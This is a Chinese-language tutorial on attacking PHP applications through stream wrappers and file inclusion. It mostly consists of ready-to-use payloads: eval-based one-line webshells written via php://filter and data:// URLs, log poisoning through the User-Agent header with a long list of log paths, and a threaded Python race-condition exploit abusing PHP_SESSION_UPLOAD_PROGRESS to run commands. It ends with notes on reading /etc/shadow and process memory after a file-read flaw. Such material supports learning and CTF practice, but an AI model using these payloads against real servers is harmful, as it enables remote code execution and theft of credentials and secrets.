一、PHP伪协议
1.php://filter
应用场景:一般用来读取源码和写入内容
1.写入
# 下面读取用的一些比如convert.base64、convert.iconv.UTF-8.UTF-7写入也可以用
## 写入一句话木马<?php eval($_POST['cmd']);?>
## 配合post参数cmd=phpinfo();
file_put_contents('php://filter/write=convert.base64-decode/resource=123.php','PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='); # 写入到123.php
## 但是注意当网址源代码是下面这样时,要在PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==前面加入随便几个字符比如a,aa,aaa,aaaa,这样能破坏前面的语句转换成base64,导致base64只能正常解析后面的语句,写入的内容实际就为¦^Zi<86><98>§~<86><9a><?php eval($_POST['cmd']);?>
file_put_contents(urldecode($file),"<?php die('后面的要失效了哈哈哈哈’);?>".$content);
## 写入一句话木马<?php eval($_POST['cmd']);?>
## 配合post参数cmd=phpinfo();
## string.rot13转换不会存在base64那样的解析问题
file_put_contents('php://filter/write=string.rot13/resource=123.php','<?cuc riny($_CBFG["pzq"]);?>');
2.读取
php://filter:用于对流进行各种过滤或转换操作,可以作为一个中间流来处理其他流,可以进行任意文件的读取
// base64编码
//格式:php://filter/处理函数/resource=资源路径
$data = file_get_contents('php://filter/convert.base64-encode/resource=a.txt');
echo $data;
// 如此种场景,使用伪协议来读取
$lan = 'php://filter/convert.base64-encode/resource=flag.php';
include($lan);
// 结果:MTUxNTUxDQoxNTE1MQ0KMTU1MQ0KMjIzMg0K(再进行解码就能获取)
绕过(当可以使用php://filter,但是服务端又存在过滤的情况下可以使用下面的绕过):
- string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符
php://filter/string.rot13/resource=flag.php
// 如果flag.php存在<等某些特殊字符,可能会直接在服务端报错,压根执行不了,适合数字,英文内容的读取
- 大小写转换
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
- 字符串按要求的字符编码来转换
// 格式 php://filter/convert.iconv.<input-encoding>.<output-encoding>/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-32/resource=flag.php
php://filter/convert.iconv.UTF-8.ASCII/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=a.php
// 支持的编码格式很多,可以在网上自行寻找
当遇到过滤时可以用下面的内容(将与位置替换即可)之后用burpsuite的cluster bomb爆破(16*16):
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
解码:
// 假设 $utf7String 是你从 UTF-7 编码转换得到的字符串
$utf7String = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ad86b86c79ef08b8b04532428fac7c7f+AH0'+ADs";
// 使用 iconv 函数将字符串从 UTF-7 转换为 UTF-8
$utf8String = iconv("UTF-7", "UTF-8", $utf7String);
// 输出转换后的 UTF-8 字符串
echo $utf8String;
- 过滤器
php://filter/convert.quoted-printable-encode/resource=flag.php
// 可以使用quoted_printable_decode()解码
- 压缩
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php
// 这样会自动去选择解压还是压缩可能直接显示明文
2.php://input
应用场景:一般用来执行php任意命令,在php安全策略配置出现问题时才会有此问题
php://input:一般配合post输入,它提供了一种直接获取 POST 请求数据的方式,尤其适用于处理来自客户端的原始数据,适合执行php文件
$inputData = file_get_contents('php://input');
echo $inputData;//用户post输入的内容
案例:
- 执行任意危险命令
- 上传一句话木马
- 普通:
<?php eval($_POST['get']);?> ## 配合post参数get=phpinfo();
- 短标签:
<?=eval($_POST['get']);?> ## 配合post参数get=phpinfo();
- 普通:
3.file://
应用场景:一般用来访问本地文件
file://:可以用于访问绝对路径和相对路径,当使用file伪协议时,可以指定文件的绝对路径,例如file:///path/to/file.php
,也可以指定相对路径,例如file://relative/path/to/file.php
.
file://:也可以配合include协议进行文件包含(内容如果是php内容会执行,内容为php标签外的会打印)include "file://localhost/etc/passwd"
或include "file:///etc/passwd"
$content = file_get_contents('file://E:\phpstorm\test\a.txt');
echo $content;//文件被打印出来
4.data://
应用场景:用来执行命令
前提:
allow_url_fopen :on
allow_url_include:on
执行命令:
- 普通:
<?php phpinfo();?>
- 短标签:
<?=phpinfo();?>
使用案例:
用法:
http://localhost:5005/?file=data:text/plain,<?=system("ipconfig");?>
# 这个在file后面加了//
http://localhost:5005/?file=data://text/plain,<?=system("ipconfig");?>
# 错误例子
# PD89cGhwaW5mbygpOz8+ 解码为<?php phpinfo();?> base64加密后有+号,而在浏览器get请求中+号表示空格,所以正确做法是把+号进行url编码,也就是将+号换为%2B
http://localhost:5005/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8+
# 正确例子
http://localhost:5005/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8%2B
# 一句话木马
http://localhost:5005/?file=data:text/plain,<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
# 一句话木马
PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg== 解码为<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
http://localhost:5005/test/a.php?file=data:text/plain;base64,PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg==
二、PHP文件包含
1.日志写入一句话木马
原理:利用include
函数的特点与服务器的漏洞,首先include
能将任何文本内容当PHP代码执行,同时如果服务器配置有问题,给日志所在目录赋予了访问权限就会导致日志写入一句话木马
实施:先用一个请求里面Header包含User-Agent:<?=eval($_POST['mypost']);?>
,为什么这么写,因为不论是Apache2还是Nginx日志默认都会写入用户这个信息,所以我们可以用此来先进行访问致使日志存在该信息,此时再来让include访问日志所在目录就可能会导致一句话木马的生成
日志信息:172.21.84.18 - - [13/Apr/2024:19:23:02 +0800] "GET / HTTP/1.1" 200 1835 "-" "<?=eval($_POST['a']);?>"
注意:运行的时候,先使用phpinfo();因为其可能将全部日志显示出现,里面包含你执行完命令的结果,可能导致你找不到结果显示在哪里,固先用phpinfo()确定好命令反馈出现的位置
日志字典
/Program Files/Apache Group/Apache/logs/access.log
/Program Files/Apache Group/Apache/logs/error.log
/apache/logs/access.log
/apache/logs/error.log
/apache2/logs/access.log
/apache2/logs/error.log
/etc/httpd/logs/acces.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/logrotate.d/vsftpd.log
/etc/wu-ftpd/ftpaccess
/logs/access.log
/logs/access_log
/logs/error.log
/logs/error_log
/logs/pure-ftpd.log
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/adm/log/xferlog
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/log/access.log
/var/log/access_log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftplog/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/maillog
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/log/proftpd/var/www/logs/access.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/pureftpd.log
/var/log/thttpd_log
/var/log/vsftpd.log
/var/log/xferlog
/var/mysql.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/mgr/logs/access.log
/var/www/mgr/logs/access_log
/var/www/mgr/logs/error.log
/var/www/mgr/logs/error_log
/www/logs/proftpd.system.log
2.利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。默认为关
session.upload_progress.enabled = on
// 表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。
// 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。默认为开
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。
// 当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计
session.use_strict_mode=0
// 当session.use_strict_mode为0时,造成Session ID可控,也就是Cookie里面的PHPSESSID传入多少,其为多少session.use_strict_mode选项出现在php5.5之后
解释:在PHP的配置文件里面的配置session.upload_progress.enabled = On
此表示当浏览器向服务器上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中(就算PHP代码里面没有任何上传操作也会执行这步),而存储的session位置就在/tem/
目录下格式为/tem/sess_Tgi
,其中当session.use_strict_mode = Off
(默认就是Off)时Tgi的值用户可以自定义,这样我们就可以实现文件包含,那么如何自定义呢在于Cookie:'PHPSESSID': Tgi
,sess_的值与PHPSESSID的值与拼接起来就是缓存目录的地址,此时还要注意当session.upload_progress.cleanup = On
(默认为On)时,/tem/sess_Tgi
文件会在上传完毕后强制删除,这时候我们需要在上传完成前去访问缓存,下面是python利用脚本
利用思路
- 上传一个有一定大小的文件,一般为50KB左右
- 传入Cookie,使得我们确定构造文件的命令
- POST传入参数
PHP_SESSION_UPLOAD_PROGRESS
,其值为恶意代码(因为其值会被写入临时文件当中,我们利用这里进行文件包含就能导致代码执行成功) - 构造代码,在上传的同时进行读取文件操作,通过竞争能够使得我们在临时文件消失前成功读取到文件
配置文件查找缓存目录:
########下面的生效在/etc/php.ini(Debian)
; where MODE is the octal representation of the mode. Note that this
; does not overwrite the process's umask.
; http://php.net/session.save-path
;session.save_path = "/var/lib/php/sessions"
########下面的不生效在/etc/php.ini而在/etc/httpd/conf.d/php.conf(Ubuntu)
; where MODE is the octal representation of the mode. Note that this
; does not overwrite the process's umask.
; http://php.net/session.save-path
; RPM note : session directory must be owned by process owner
; for mod_php, see /etc/httpd/conf.d/php.conf
; for php-fpm, see /etc/php-fpm.d/*conf
session.save_path = "/var/log/httpd/tmp"
可能的缓存目录:
/var/lib/php/sess_
/var/lib/php/sessions/sess_
/var/lib/php/session/sess_
/tmp/sess_
/tmp/sessions/sess_
# 脚本因为具有竞争关系去写入与读取文件所以对于session_unset();session_destroy();system(rm -rf /tmp/*);都不会影响最终结果的执行
import io
import requests
import threading
sessid = 'BUG'
data = {"cmd": "system('ifconfig');"}
base_url = 'http://192.168.31.153/'
def write(session, event):
while not event.is_set():
# 50KB
f = io.BytesIO(b'a' * 1024 * 50)
session.post(base_url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('jackio.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session, event):
while not event.is_set():
resp = session.post(base_url + '/?file=/var/lib/php/session/sess_' + sessid, data=data)
if 'jackio.txt' in resp.text:
print(resp.text)
event.set()
else:
print("[+++++++++++++]retry")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
threads = []
for i in range(1, 30):
t = threading.Thread(target=write, args=(session, event))
t.start()
threads.append(t)
for i in range(1, 30):
t = threading.Thread(target=read, args=(session, event))
t.start()
threads.append(t)
for t in threads:
t.join() # 等待所有线程结束
三、PHP文件包含利用函数
注意:下面的这几个函数,如果里面的文件为非php文件,但是其也会将其内容进行读取并尝试以php进行解析并运行
require()
:找不到被包含的文件会产生致命错误,并停止脚本运行,只要其包含的内容,如果为php内容则会执行,非php内容会被打印出来include()
:找不到被包含的文件只会产生警告,脚本继续执行,只要其包含的内容,如果为php内容则会执行,非php内容会被打印出来require_once()
与require()
类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含include_once()
与include()
类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含file_get_contents
不会执行php代码,只会读取文件内容,执行不了命令,没有echo,就显示不了信息
四、重要文件的作用
解释:当我们发现文件读取漏洞,一般会对重要文件进行读取,例如/etc/passwd,下面就会说我们能够从这些文件中获取哪些有用的信息
-
/etc/passwd
:Linux系统保存用户信息及其工作目录的文件,读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么;其中目录为/home/xxx
一般是普通用户,其它一般是软件用户(权限:所有用户/组可读)
-
/etc/shadow
:Linux系统保存用户信息及密码(hash)的文件,比/etc/passwd
更加具备价值;其中有用户的哈希密码,如果获取可能在本地进行碰撞获取明文(权限:所有者具有读写权限,属组(shadow)具有只读权限,其他用户没有任何权限)
-
/etc/apache2/
:apache的配置文件保存在此目录下面,/etc/apache2/apache2.conf
是主配置文件,/etc/apache2/sites-enabled
下面有具体的包括网站路径端口域名等配置(如下图)
-
/etc/nginx/
:nginx的配置文件保存在此目录下面,/etc/nginx/nginx.conf
是主配置文件,/etc/nginx/sites-enabled
下面有具体的包括网站路径端口域名等配置(如下图)
-
/proc
:通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果遇到文件读取漏洞,可以通过读取/proc/self/cmdline
读取一些敏感信息(可能有当前项目启动时,启动命令例如:python3 app.py
);/proc/[pid]/cmdline
则与上面类似,读取pid号对应进行的一些敏感信息/proc/self/mem
:其是一个特殊文件,它提供对当前进程地址空间的访问,例如在Flask里面启动项目加载一个密钥,其就存在于此文件中,可以先通过/proc/self/maps
(其里面包含进程相关的启动地址、结束地址、权限、内存区域对应文件的路径),下面演示相关代码由于篇幅问题在另一篇文章:Flask存储在内存中的密钥被读取